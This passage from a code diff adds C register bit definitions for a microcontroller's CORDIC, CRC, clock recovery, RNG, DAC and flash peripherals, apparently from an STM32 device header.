(0x1UL << CORDIC_CSR_NRES_Pos) /*!< 0x00080000 */ +#define CORDIC_CSR_NRES CORDIC_CSR_NRES_Msk /*!< Number of results in WDATA register */ +#define CORDIC_CSR_NARGS_Pos (20U) +#define CORDIC_CSR_NARGS_Msk (0x1UL << CORDIC_CSR_NARGS_Pos) /*!< 0x00100000 */ +#define CORDIC_CSR_NARGS CORDIC_CSR_NARGS_Msk /*!< Number of arguments in RDATA register */ +#define CORDIC_CSR_RESSIZE_Pos (21U) +#define CORDIC_CSR_RESSIZE_Msk (0x1UL << CORDIC_CSR_RESSIZE_Pos) /*!< 0x00200000 */ +#define CORDIC_CSR_RESSIZE CORDIC_CSR_RESSIZE_Msk /*!< Width of output data */ +#define CORDIC_CSR_ARGSIZE_Pos (22U) +#define CORDIC_CSR_ARGSIZE_Msk (0x1UL << CORDIC_CSR_ARGSIZE_Pos) /*!< 0x00400000 */ +#define CORDIC_CSR_ARGSIZE CORDIC_CSR_ARGSIZE_Msk /*!< Width of input data */ +#define CORDIC_CSR_RRDY_Pos (31U) +#define CORDIC_CSR_RRDY_Msk (0x1UL << CORDIC_CSR_RRDY_Pos) /*!< 0x80000000 */ +#define CORDIC_CSR_RRDY CORDIC_CSR_RRDY_Msk /*!< Result Ready Flag */ + +/******************* Bit definition for CORDIC_WDATA register ***************/ +#define CORDIC_WDATA_ARG_Pos (0U) +#define CORDIC_WDATA_ARG_Msk (0xFFFFFFFFUL << CORDIC_WDATA_ARG_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_WDATA_ARG CORDIC_WDATA_ARG_Msk /*!< Input Argument */ + +/******************* Bit definition for CORDIC_RDATA register ***************/ +#define CORDIC_RDATA_RES_Pos (0U) +#define CORDIC_RDATA_RES_Msk (0xFFFFFFFFUL << CORDIC_RDATA_RES_Pos) /*!< 0xFFFFFFFF */ +#define CORDIC_RDATA_RES CORDIC_RDATA_RES_Msk /*!< Output Result */ + +/******************************************************************************/ +/* */ +/* CRC calculation unit */ +/* */ +/******************************************************************************/ +/******************* Bit definition for CRC_DR register *********************/ +#define CRC_DR_DR_Pos (0U) +#define CRC_DR_DR_Msk (0xFFFFFFFFUL << CRC_DR_DR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_DR_DR CRC_DR_DR_Msk /*!< Data register bits */ + +/******************* Bit definition for CRC_IDR register ********************/ +#define CRC_IDR_IDR_Pos (0U) +#define CRC_IDR_IDR_Msk (0xFFFFFFFFUL << CRC_IDR_IDR_Pos) /*!< 0xFFFFFFFF */ +#define CRC_IDR_IDR CRC_IDR_IDR_Msk /*!< General-purpose 32-bits data register bits */ + +/******************** Bit definition for CRC_CR register ********************/ +#define CRC_CR_RESET_Pos (0U) +#define CRC_CR_RESET_Msk (0x1UL << CRC_CR_RESET_Pos) /*!< 0x00000001 */ +#define CRC_CR_RESET CRC_CR_RESET_Msk /*!< RESET the CRC computation unit bit */ +#define CRC_CR_POLYSIZE_Pos (3U) +#define CRC_CR_POLYSIZE_Msk (0x3UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000018 */ +#define CRC_CR_POLYSIZE CRC_CR_POLYSIZE_Msk /*!< Polynomial size bits */ +#define CRC_CR_POLYSIZE_0 (0x1UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000008 */ +#define CRC_CR_POLYSIZE_1 (0x2UL << CRC_CR_POLYSIZE_Pos) /*!< 0x00000010 */ +#define CRC_CR_REV_IN_Pos (5U) +#define CRC_CR_REV_IN_Msk (0x3UL << CRC_CR_REV_IN_Pos) /*!< 0x00000060 */ +#define CRC_CR_REV_IN CRC_CR_REV_IN_Msk /*!< REV_IN Reverse Input Data bits */ +#define CRC_CR_REV_IN_0 (0x1UL << CRC_CR_REV_IN_Pos) /*!< 0x00000020 */ +#define CRC_CR_REV_IN_1 (0x2UL << CRC_CR_REV_IN_Pos) /*!< 0x00000040 */ +#define CRC_CR_REV_OUT_Pos (7U) +#define CRC_CR_REV_OUT_Msk (0x1UL << CRC_CR_REV_OUT_Pos) /*!< 0x00000080 */ +#define CRC_CR_REV_OUT CRC_CR_REV_OUT_Msk /*!< REV_OUT Reverse Output Data bits */ + +/******************* Bit definition for CRC_INIT register *******************/ +#define CRC_INIT_INIT_Pos (0U) +#define CRC_INIT_INIT_Msk (0xFFFFFFFFUL << CRC_INIT_INIT_Pos) /*!< 0xFFFFFFFF */ +#define CRC_INIT_INIT CRC_INIT_INIT_Msk /*!< Initial CRC value bits */ + +/******************* Bit definition for CRC_POL register ********************/ +#define CRC_POL_POL_Pos (0U) +#define CRC_POL_POL_Msk (0xFFFFFFFFUL << CRC_POL_POL_Pos) /*!< 0xFFFFFFFF */ +#define CRC_POL_POL CRC_POL_POL_Msk /*!< Coefficients of the polynomial */ + + +/******************************************************************************/ +/* */ +/* CRS Clock Recovery System */ +/******************************************************************************/ +/******************* Bit definition for CRS_CR register *********************/ +#define CRS_CR_SYNCOKIE_Pos (0U) +#define CRS_CR_SYNCOKIE_Msk (0x1UL << CRS_CR_SYNCOKIE_Pos) /*!< 0x00000001 */ +#define CRS_CR_SYNCOKIE CRS_CR_SYNCOKIE_Msk /*!< SYNC event OK interrupt enable */ +#define CRS_CR_SYNCWARNIE_Pos (1U) +#define CRS_CR_SYNCWARNIE_Msk (0x1UL << CRS_CR_SYNCWARNIE_Pos) /*!< 0x00000002 */ +#define CRS_CR_SYNCWARNIE CRS_CR_SYNCWARNIE_Msk /*!< SYNC warning interrupt enable */ +#define CRS_CR_ERRIE_Pos (2U) +#define CRS_CR_ERRIE_Msk (0x1UL << CRS_CR_ERRIE_Pos) /*!< 0x00000004 */ +#define CRS_CR_ERRIE CRS_CR_ERRIE_Msk /*!< SYNC error or trimming error interrupt enable */ +#define CRS_CR_ESYNCIE_Pos (3U) +#define CRS_CR_ESYNCIE_Msk (0x1UL << CRS_CR_ESYNCIE_Pos) /*!< 0x00000008 */ +#define CRS_CR_ESYNCIE CRS_CR_ESYNCIE_Msk /*!< Expected SYNC interrupt enable */ +#define CRS_CR_CEN_Pos (5U) +#define CRS_CR_CEN_Msk (0x1UL << CRS_CR_CEN_Pos) /*!< 0x00000020 */ +#define CRS_CR_CEN CRS_CR_CEN_Msk /*!< Frequency error counter enable */ +#define CRS_CR_AUTOTRIMEN_Pos (6U) +#define CRS_CR_AUTOTRIMEN_Msk (0x1UL << CRS_CR_AUTOTRIMEN_Pos) /*!< 0x00000040 */ +#define CRS_CR_AUTOTRIMEN CRS_CR_AUTOTRIMEN_Msk /*!< Automatic trimming enable */ +#define CRS_CR_SWSYNC_Pos (7U) +#define CRS_CR_SWSYNC_Msk (0x1UL << CRS_CR_SWSYNC_Pos) /*!< 0x00000080 */ +#define CRS_CR_SWSYNC CRS_CR_SWSYNC_Msk /*!< Generate software SYNC event */ +#define CRS_CR_TRIM_Pos (8U) +#define CRS_CR_TRIM_Msk (0x3FUL << CRS_CR_TRIM_Pos) /*!< 0x00003F00 */ +#define CRS_CR_TRIM CRS_CR_TRIM_Msk /*!< HSI48 oscillator smooth trimming */ + +/******************* Bit definition for CRS_CFGR register *********************/ +#define CRS_CFGR_RELOAD_Pos (0U) +#define CRS_CFGR_RELOAD_Msk (0xFFFFUL << CRS_CFGR_RELOAD_Pos) /*!< 0x0000FFFF */ +#define CRS_CFGR_RELOAD CRS_CFGR_RELOAD_Msk /*!< Counter reload value */ +#define CRS_CFGR_FELIM_Pos (16U) +#define CRS_CFGR_FELIM_Msk (0xFFUL << CRS_CFGR_FELIM_Pos) /*!< 0x00FF0000 */ +#define CRS_CFGR_FELIM CRS_CFGR_FELIM_Msk /*!< Frequency error limit */ +#define CRS_CFGR_SYNCDIV_Pos (24U) +#define CRS_CFGR_SYNCDIV_Msk (0x7UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x07000000 */ +#define CRS_CFGR_SYNCDIV CRS_CFGR_SYNCDIV_Msk /*!< SYNC divider */ +#define CRS_CFGR_SYNCDIV_0 (0x1UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x01000000 */ +#define CRS_CFGR_SYNCDIV_1 (0x2UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x02000000 */ +#define CRS_CFGR_SYNCDIV_2 (0x4UL << CRS_CFGR_SYNCDIV_Pos) /*!< 0x04000000 */ +#define CRS_CFGR_SYNCSRC_Pos (28U) +#define CRS_CFGR_SYNCSRC_Msk (0x3UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x30000000 */ +#define CRS_CFGR_SYNCSRC CRS_CFGR_SYNCSRC_Msk /*!< SYNC signal source selection */ +#define CRS_CFGR_SYNCSRC_0 (0x1UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x10000000 */ +#define CRS_CFGR_SYNCSRC_1 (0x2UL << CRS_CFGR_SYNCSRC_Pos) /*!< 0x20000000 */ +#define CRS_CFGR_SYNCPOL_Pos (31U) +#define CRS_CFGR_SYNCPOL_Msk (0x1UL << CRS_CFGR_SYNCPOL_Pos) /*!< 0x80000000 */ +#define CRS_CFGR_SYNCPOL CRS_CFGR_SYNCPOL_Msk /*!< SYNC polarity selection */ + +/******************* Bit definition for CRS_ISR register *********************/ +#define CRS_ISR_SYNCOKF_Pos (0U) +#define CRS_ISR_SYNCOKF_Msk (0x1UL << CRS_ISR_SYNCOKF_Pos) /*!< 0x00000001 */ +#define CRS_ISR_SYNCOKF CRS_ISR_SYNCOKF_Msk /*!< SYNC event OK flag */ +#define CRS_ISR_SYNCWARNF_Pos (1U) +#define CRS_ISR_SYNCWARNF_Msk (0x1UL << CRS_ISR_SYNCWARNF_Pos) /*!< 0x00000002 */ +#define CRS_ISR_SYNCWARNF CRS_ISR_SYNCWARNF_Msk /*!< SYNC warning flag */ +#define CRS_ISR_ERRF_Pos (2U) +#define CRS_ISR_ERRF_Msk (0x1UL << CRS_ISR_ERRF_Pos) /*!< 0x00000004 */ +#define CRS_ISR_ERRF CRS_ISR_ERRF_Msk /*!< Error flag */ +#define CRS_ISR_ESYNCF_Pos (3U) +#define CRS_ISR_ESYNCF_Msk (0x1UL << CRS_ISR_ESYNCF_Pos) /*!< 0x00000008 */ +#define CRS_ISR_ESYNCF CRS_ISR_ESYNCF_Msk /*!< Expected SYNC flag */ +#define CRS_ISR_SYNCERR_Pos (8U) +#define CRS_ISR_SYNCERR_Msk (0x1UL << CRS_ISR_SYNCERR_Pos) /*!< 0x00000100 */ +#define CRS_ISR_SYNCERR CRS_ISR_SYNCERR_Msk /*!< SYNC error */ +#define CRS_ISR_SYNCMISS_Pos (9U) +#define CRS_ISR_SYNCMISS_Msk (0x1UL << CRS_ISR_SYNCMISS_Pos) /*!< 0x00000200 */ +#define CRS_ISR_SYNCMISS CRS_ISR_SYNCMISS_Msk /*!< SYNC missed */ +#define CRS_ISR_TRIMOVF_Pos (10U) +#define CRS_ISR_TRIMOVF_Msk (0x1UL << CRS_ISR_TRIMOVF_Pos) /*!< 0x00000400 */ +#define CRS_ISR_TRIMOVF CRS_ISR_TRIMOVF_Msk /*!< Trimming overflow or underflow */ +#define CRS_ISR_FEDIR_Pos (15U) +#define CRS_ISR_FEDIR_Msk (0x1UL << CRS_ISR_FEDIR_Pos) /*!< 0x00008000 */ +#define CRS_ISR_FEDIR CRS_ISR_FEDIR_Msk /*!< Frequency error direction */ +#define CRS_ISR_FECAP_Pos (16U) +#define CRS_ISR_FECAP_Msk (0xFFFFUL << CRS_ISR_FECAP_Pos) /*!< 0xFFFF0000 */ +#define CRS_ISR_FECAP CRS_ISR_FECAP_Msk /*!< Frequency error capture */ + +/******************* Bit definition for CRS_ICR register *********************/ +#define CRS_ICR_SYNCOKC_Pos (0U) +#define CRS_ICR_SYNCOKC_Msk (0x1UL << CRS_ICR_SYNCOKC_Pos) /*!< 0x00000001 */ +#define CRS_ICR_SYNCOKC CRS_ICR_SYNCOKC_Msk /*!< SYNC event OK clear flag */ +#define CRS_ICR_SYNCWARNC_Pos (1U) +#define CRS_ICR_SYNCWARNC_Msk (0x1UL << CRS_ICR_SYNCWARNC_Pos) /*!< 0x00000002 */ +#define CRS_ICR_SYNCWARNC CRS_ICR_SYNCWARNC_Msk /*!< SYNC warning clear flag */ +#define CRS_ICR_ERRC_Pos (2U) +#define CRS_ICR_ERRC_Msk (0x1UL << CRS_ICR_ERRC_Pos) /*!< 0x00000004 */ +#define CRS_ICR_ERRC CRS_ICR_ERRC_Msk /*!< Error clear flag */ +#define CRS_ICR_ESYNCC_Pos (3U) +#define CRS_ICR_ESYNCC_Msk (0x1UL << CRS_ICR_ESYNCC_Pos) /*!< 0x00000008 */ +#define CRS_ICR_ESYNCC CRS_ICR_ESYNCC_Msk /*!< Expected SYNC clear flag */ + + +/******************************************************************************/ +/* */ +/* RNG */ +/* */ +/******************************************************************************/ +/******************** Bits definition for RNG_CR register *******************/ +#define RNG_CR_RNGEN_Pos (2U) +#define RNG_CR_RNGEN_Msk (0x1UL << RNG_CR_RNGEN_Pos) /*!< 0x00000004 */ +#define RNG_CR_RNGEN RNG_CR_RNGEN_Msk +#define RNG_CR_IE_Pos (3U) +#define RNG_CR_IE_Msk (0x1UL << RNG_CR_IE_Pos) /*!< 0x00000008 */ +#define RNG_CR_IE RNG_CR_IE_Msk +#define RNG_CR_CED_Pos (5U) +#define RNG_CR_CED_Msk (0x1UL << RNG_CR_CED_Pos) /*!< 0x00000020 */ +#define RNG_CR_CED RNG_CR_CED_Msk +#define RNG_CR_ARDIS_Pos (7U) +#define RNG_CR_ARDIS_Msk (0x1UL << RNG_CR_ARDIS_Pos) +#define RNG_CR_ARDIS RNG_CR_ARDIS_Msk +#define RNG_CR_RNG_CONFIG3_Pos (8U) +#define RNG_CR_RNG_CONFIG3_Msk (0xFUL << RNG_CR_RNG_CONFIG3_Pos) +#define RNG_CR_RNG_CONFIG3 RNG_CR_RNG_CONFIG3_Msk +#define RNG_CR_NISTC_Pos (12U) +#define RNG_CR_NISTC_Msk (0x1UL << RNG_CR_NISTC_Pos) +#define RNG_CR_NISTC RNG_CR_NISTC_Msk +#define RNG_CR_RNG_CONFIG2_Pos (13U) +#define RNG_CR_RNG_CONFIG2_Msk (0x7UL << RNG_CR_RNG_CONFIG2_Pos) +#define RNG_CR_RNG_CONFIG2 RNG_CR_RNG_CONFIG2_Msk +#define RNG_CR_CLKDIV_Pos (16U) +#define RNG_CR_CLKDIV_Msk (0xFUL << RNG_CR_CLKDIV_Pos) +#define RNG_CR_CLKDIV RNG_CR_CLKDIV_Msk +#define RNG_CR_CLKDIV_0 (0x1UL << RNG_CR_CLKDIV_Pos) /*!< 0x00010000 */ +#define RNG_CR_CLKDIV_1 (0x2UL << RNG_CR_CLKDIV_Pos) /*!< 0x00020000 */ +#define RNG_CR_CLKDIV_2 (0x4UL << RNG_CR_CLKDIV_Pos) /*!< 0x00040000 */ +#define RNG_CR_CLKDIV_3 (0x8UL << RNG_CR_CLKDIV_Pos) /*!< 0x00080000 */ +#define RNG_CR_RNG_CONFIG1_Pos (20U) +#define RNG_CR_RNG_CONFIG1_Msk (0x3FUL << RNG_CR_RNG_CONFIG1_Pos) +#define RNG_CR_RNG_CONFIG1 RNG_CR_RNG_CONFIG1_Msk +#define RNG_CR_CONDRST_Pos (30U) +#define RNG_CR_CONDRST_Msk (0x1UL << RNG_CR_CONDRST_Pos) +#define RNG_CR_CONDRST RNG_CR_CONDRST_Msk +#define RNG_CR_CONFIGLOCK_Pos (31U) +#define RNG_CR_CONFIGLOCK_Msk (0x1UL << RNG_CR_CONFIGLOCK_Pos) +#define RNG_CR_CONFIGLOCK RNG_CR_CONFIGLOCK_Msk + +/******************** Bits definition for RNG_SR register *******************/ +#define RNG_SR_DRDY_Pos (0U) +#define RNG_SR_DRDY_Msk (0x1UL << RNG_SR_DRDY_Pos) /*!< 0x00000001 */ +#define RNG_SR_DRDY RNG_SR_DRDY_Msk +#define RNG_SR_CECS_Pos (1U) +#define RNG_SR_CECS_Msk (0x1UL << RNG_SR_CECS_Pos) /*!< 0x00000002 */ +#define RNG_SR_CECS RNG_SR_CECS_Msk +#define RNG_SR_SECS_Pos (2U) +#define RNG_SR_SECS_Msk (0x1UL << RNG_SR_SECS_Pos) /*!< 0x00000004 */ +#define RNG_SR_SECS RNG_SR_SECS_Msk +#define RNG_SR_CEIS_Pos (5U) +#define RNG_SR_CEIS_Msk (0x1UL << RNG_SR_CEIS_Pos) /*!< 0x00000020 */ +#define RNG_SR_CEIS RNG_SR_CEIS_Msk +#define RNG_SR_SEIS_Pos (6U) +#define RNG_SR_SEIS_Msk (0x1UL << RNG_SR_SEIS_Pos) /*!< 0x00000040 */ +#define RNG_SR_SEIS RNG_SR_SEIS_Msk + +/******************** Bits definition for RNG_NSCR register *******************/ +#define RNG_NSCR_EN_OSC1_Pos (0U) +#define RNG_NSCR_EN_OSC1_Msk (0x7UL << RNG_NSCR_EN_OSC1_Pos) /*!< 0x00000007 */ +#define RNG_NSCR_EN_OSC1 RNG_NSCR_EN_OSC1_Msk +#define RNG_NSCR_EN_OSC2_Pos (3U) +#define RNG_NSCR_EN_OSC2_Msk (0x7UL << RNG_NSCR_EN_OSC2_Pos) /*!< 0x00000038 */ +#define RNG_NSCR_EN_OSC2 RNG_NSCR_EN_OSC2_Msk +#define RNG_NSCR_EN_OSC3_Pos (6U) +#define RNG_NSCR_EN_OSC3_Msk (0x7UL << RNG_NSCR_EN_OSC3_Pos) /*!< 0x000001C0 */ +#define RNG_NSCR_EN_OSC3 RNG_NSCR_EN_OSC3_Msk +#define RNG_NSCR_EN_OSC4_Pos (9U) +#define RNG_NSCR_EN_OSC4_Msk (0x7UL << RNG_NSCR_EN_OSC4_Pos) /*!< 0x00000E00 */ +#define RNG_NSCR_EN_OSC4 RNG_NSCR_EN_OSC4_Msk +#define RNG_NSCR_EN_OSC5_Pos (12U) +#define RNG_NSCR_EN_OSC5_Msk (0x7UL << RNG_NSCR_EN_OSC5_Pos) /*!< 0x00007000 */ +#define RNG_NSCR_EN_OSC5 RNG_NSCR_EN_OSC5_Msk +#define RNG_NSCR_EN_OSC6_Pos (15U) +#define RNG_NSCR_EN_OSC6_Msk (0x7UL << RNG_NSCR_EN_OSC6_Pos) /*!< 0x00038000 */ +#define RNG_NSCR_EN_OSC6 RNG_NSCR_EN_OSC6_Msk + +/******************** Bits definition for RNG_HTCR register *******************/ +#define RNG_HTCR_HTCFG_Pos (0U) +#define RNG_HTCR_HTCFG_Msk (0xFFFFFFFFUL << RNG_HTCR_HTCFG_Pos) /*!< 0xFFFFFFFF */ +#define RNG_HTCR_HTCFG RNG_HTCR_HTCFG_Msk + +/******************** RNG Nist Compliance Values ******************************/ +#define RNG_CR_NIST_VALUE (0x00F00E00U) +#define RNG_HTCR_NIST_VALUE (0x6A91U) +#define RNG_NSCR_NIST_VALUE (0x3AF66U) + +/******************************************************************************/ +/* */ +/* Digital to Analog Converter */ +/* */ +/******************************************************************************/ +#define DAC_CHANNEL2_SUPPORT /*!< DAC feature available only on specific devices: DAC channel 2 available */ + +/******************** Bit definition for DAC_CR register ********************/ +#define DAC_CR_EN1_Pos (0U) +#define DAC_CR_EN1_Msk (0x1UL << DAC_CR_EN1_Pos) /*!< 0x00000001 */ +#define DAC_CR_EN1 DAC_CR_EN1_Msk /*!*/ +#define DAC_CR_CEN1_Pos (14U) +#define DAC_CR_CEN1_Msk (0x1UL << DAC_CR_CEN1_Pos) /*!< 0x00004000 */ +#define DAC_CR_CEN1 DAC_CR_CEN1_Msk /*!*/ +#define DAC_CR_EN2_Pos (16U) +#define DAC_CR_EN2_Msk (0x1UL << DAC_CR_EN2_Pos) /*!< 0x00010000 */ +#define DAC_CR_EN2 DAC_CR_EN2_Msk /*!*/ +#define DAC_CR_CEN2_Pos (30U) +#define DAC_CR_CEN2_Msk (0x1UL << DAC_CR_CEN2_Pos) /*!< 0x40000000 */ +#define DAC_CR_CEN2 DAC_CR_CEN2_Msk /*!*/ + +/***************** Bit definition for DAC_SWTRIGR register ******************/ +#define DAC_SWTRIGR_SWTRIG1_Pos (0U) +#define DAC_SWTRIGR_SWTRIG1_Msk (0x1UL << DAC_SWTRIGR_SWTRIG1_Pos) /*!< 0x00000001 */ +#define DAC_SWTRIGR_SWTRIG1 DAC_SWTRIGR_SWTRIG1_Msk /*!> 1U) /*!< FLASH Bank Size */ +#define FLASH_SECTOR_SIZE 0x2000U /*!< Flash Sector Size: 8 KB */ + +/******************* Bits definition for FLASH_ACR register *****************/ +#define FLASH_ACR_LATENCY_Pos (0U) +#define FLASH_ACR_LATENCY_Msk (0xFUL << FLASH_ACR_LATENCY_Pos) /*!< 0x0000000F */ +#define FLASH_ACR_LATENCY FLASH_ACR_LATENCY_Msk /*!< Latency */ +#define FLASH_ACR_LATENCY_0WS (0x00000000U) +#define FLASH_ACR_LATENCY_1WS (0x00000001U) +#define FLASH_ACR_LATENCY_2WS (0x00000002U) +#define FLASH_ACR_LATENCY_3WS (0x00000003U) +#define FLASH_ACR_LATENCY_4WS (0x00000004U) +#define FLASH_ACR_LATENCY_5WS (0x00000005U) +#define FLASH_ACR_LATENCY_6WS (0x00000006U) +#define FLASH_ACR_LATENCY_7WS (0x00000007U) +#define FLASH_ACR_LATENCY_8WS (0x00000008U) +#define FLASH_ACR_LATENCY_9WS (0x00000009U) +#define FLASH_ACR_LATENCY_10WS (0x0000000AU) +#define FLASH_ACR_LATENCY_11WS (0x0000000BU) +#define FLASH_ACR_LATENCY_12WS (0x0000000CU) +#define FLASH_ACR_LATENCY_13WS (0x0000000DU) +#define FLASH_ACR_LATENCY_14WS (0x0000000EU) +#define FLASH_ACR_LATENCY_15WS (0x0000000FU) +#define FLASH_ACR_WRHIGHFREQ_Pos (4U) +#define FLASH_ACR_WRHIGHFREQ_Msk (0x3UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000030 */ +#define FLASH_ACR_WRHIGHFREQ FLASH_ACR_WRHIGHFREQ_Msk /*!< Flash signal delay */ +#define FLASH_ACR_WRHIGHFREQ_0 (0x1UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000010 */ +#define FLASH_ACR_WRHIGHFREQ_1 (0x2UL << FLASH_ACR_WRHIGHFREQ_Pos) /*!< 0x00000020 */ +#define FLASH_ACR_PRFTEN_Pos (8U) +#define FLASH_ACR_PRFTEN_Msk (0x1UL << FLASH_ACR_PRFTEN_Pos) /*!< 0x00000100 */ +#define FLASH_ACR_PRFTEN FLASH_ACR_PRFTEN_Msk /*!< Prefetch enable */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0U) +#define FLASH_OPSR_ADDR_OP_Msk (0xFFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x000FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Interrupted operation address */ +#define FLASH_OPSR_DATA_OP_Pos (21U) +#define FLASH_OPSR_DATA_OP_Msk (0x1UL << FLASH_OPSR_DATA_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_DATA_OP FLASH_OPSR_DATA_OP_Msk /*!< Operation in Flash high-cycle data area interrupted */ +#define FLASH_OPSR_BK_OP_Pos (22U) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (23U) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00800000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_OTP_OP_Pos (24U) +#define FLASH_OPSR_OTP_OP_Msk (0x1UL << FLASH_OPSR_OTP_OP_Pos) /*!< 0x01000000 */ +#define FLASH_OPSR_OTP_OP FLASH_OPSR_OTP_OP_Msk /*!< Operation in OTP area interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29U) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash memory operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTCR register *******************/ +#define FLASH_OPTCR_OPTLOCK_Pos (0U) +#define FLASH_OPTCR_OPTLOCK_Msk (0x1UL << FLASH_OPTCR_OPTLOCK_Pos) /*!< 0x00000001 */ +#define FLASH_OPTCR_OPTLOCK FLASH_OPTCR_OPTLOCK_Msk /*!< FLASH_OPTCR lock option configuration bit */ +#define FLASH_OPTCR_OPTSTART_Pos (1U) +#define FLASH_OPTCR_OPTSTART_Msk (0x1UL << FLASH_OPTCR_OPTSTART_Pos) /*!< 0x00000002 */ +#define FLASH_OPTCR_OPTSTART FLASH_OPTCR_OPTSTART_Msk /*!< Option byte start change option configuration bit */ +#define FLASH_OPTCR_SWAP_BANK_Pos (31U) +#define FLASH_OPTCR_SWAP_BANK_Msk (0x1UL << FLASH_OPTCR_SWAP_BANK_Pos) /*!< 0x80000000 */ +#define FLASH_OPTCR_SWAP_BANK FLASH_OPTCR_SWAP_BANK_Msk /*!< Bank swapping option configuration bit */ + +/******************* Bits definition for FLASH_SR register ***********************/ +#define FLASH_SR_BSY_Pos (0U) +#define FLASH_SR_BSY_Msk (0x1UL << FLASH_SR_BSY_Pos) /*!< 0x00000001 */ +#define FLASH_SR_BSY FLASH_SR_BSY_Msk /*!< Busy flag */ +#define FLASH_SR_WBNE_Pos (1U) +#define FLASH_SR_WBNE_Msk (0x1UL << FLASH_SR_WBNE_Pos) /*!< 0x00000002 */ +#define FLASH_SR_WBNE FLASH_SR_WBNE_Msk /*!< Write buffer not empty flag */ +#define FLASH_SR_DBNE_Pos (3U) +#define FLASH_SR_DBNE_Msk (0x1UL << FLASH_SR_DBNE_Pos) /*!< 0x00000008 */ +#define FLASH_SR_DBNE FLASH_SR_DBNE_Msk /*!< Data buffer not empty flag */ +#define FLASH_SR_EOP_Pos (16U) +#define FLASH_SR_EOP_Msk (0x1UL << FLASH_SR_EOP_Pos) /*!< 0x00010000 */ +#define FLASH_SR_EOP FLASH_SR_EOP_Msk /*!< End-of-program flag */ +#define FLASH_SR_WRPERR_Pos (17U) +#define FLASH_SR_WRPERR_Msk (0x1UL << FLASH_SR_WRPERR_Pos) /*!< 0x00020000 */ +#define FLASH_SR_WRPERR FLASH_SR_WRPERR_Msk /*!< Write protection error flag */ +#define FLASH_SR_PGSERR_Pos (18U) +#define FLASH_SR_PGSERR_Msk (0x1UL << FLASH_SR_PGSERR_Pos) /*!< 0x00040000 */ +#define FLASH_SR_PGSERR FLASH_SR_PGSERR_Msk /*!< Programming sequence error flag */ +#define FLASH_SR_STRBERR_Pos (19U) +#define FLASH_SR_STRBERR_Msk (0x1UL << FLASH_SR_STRBERR_Pos) /*!< 0x00080000 */ +#define FLASH_SR_STRBERR FLASH_SR_STRBERR_Msk /*!< Strobe error flag */ +#define FLASH_SR_INCERR_Pos (20U) +#define FLASH_SR_INCERR_Msk (0x1UL << FLASH_SR_INCERR_Pos) /*!< 0x00100000 */ +#define FLASH_SR_INCERR FLASH_SR_INCERR_Msk /*!< Inconsistency error flag */ +#define FLASH_SR_OBKERR_Pos (21U) +#define FLASH_SR_OBKERR_Msk (0x1UL << FLASH_SR_OBKERR_Pos) /*!< 0x00200000 */ +#define FLASH_SR_OBKERR FLASH_SR_OBKERR_Msk /*!< OBK general error flag */ +#define FLASH_SR_OBKWERR_Pos (22U) +#define FLASH_SR_OBKWERR_Msk (0x1UL << FLASH_SR_OBKWERR_Pos) /*!< 0x00400000 */ +#define FLASH_SR_OBKWERR FLASH_SR_OBKWERR_Msk /*!< OBK write error flag */ +#define FLASH_SR_OPTCHANGEERR_Pos (23U) +#define FLASH_SR_OPTCHANGEERR_Msk (0x1UL << FLASH_SR_OPTCHANGEERR_Pos) /*!< 0x00800000 */ +#define FLASH_SR_OPTCHANGEERR FLASH_SR_OPTCHANGEERR_Msk /*!< Option byte change error flag */ + +/******************* Bits definition for FLASH_CR register ***********************/ +#define FLASH_CR_LOCK_Pos (0U) +#define FLASH_CR_LOCK_Msk (0x1UL << FLASH_CR_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_CR_LOCK FLASH_CR_LOCK_Msk /*!< Configuration lock bit */ +#define FLASH_CR_PG_Pos (1U) +#define FLASH_CR_PG_Msk (0x1UL << FLASH_CR_PG_Pos) /*!< 0x00000002 */ +#define FLASH_CR_PG FLASH_CR_PG_Msk /*!< Programming control bit */ +#define FLASH_CR_SER_Pos (2U) +#define FLASH_CR_SER_Msk (0x1UL << FLASH_CR_SER_Pos) /*!< 0x00000004 */ +#define FLASH_CR_SER FLASH_CR_SER_Msk /*!< Sector erase request */ +#define FLASH_CR_BER_Pos (3U) +#define FLASH_CR_BER_Msk (0x1UL << FLASH_CR_BER_Pos) /*!< 0x00000008 */ +#define FLASH_CR_BER FLASH_CR_BER_Msk /*!< Bank erase request */ +#define FLASH_CR_FW_Pos (4U) +#define FLASH_CR_FW_Msk (0x1UL << FLASH_CR_FW_Pos) /*!< 0x00000010 */ +#define FLASH_CR_FW FLASH_CR_FW_Msk /*!< Write 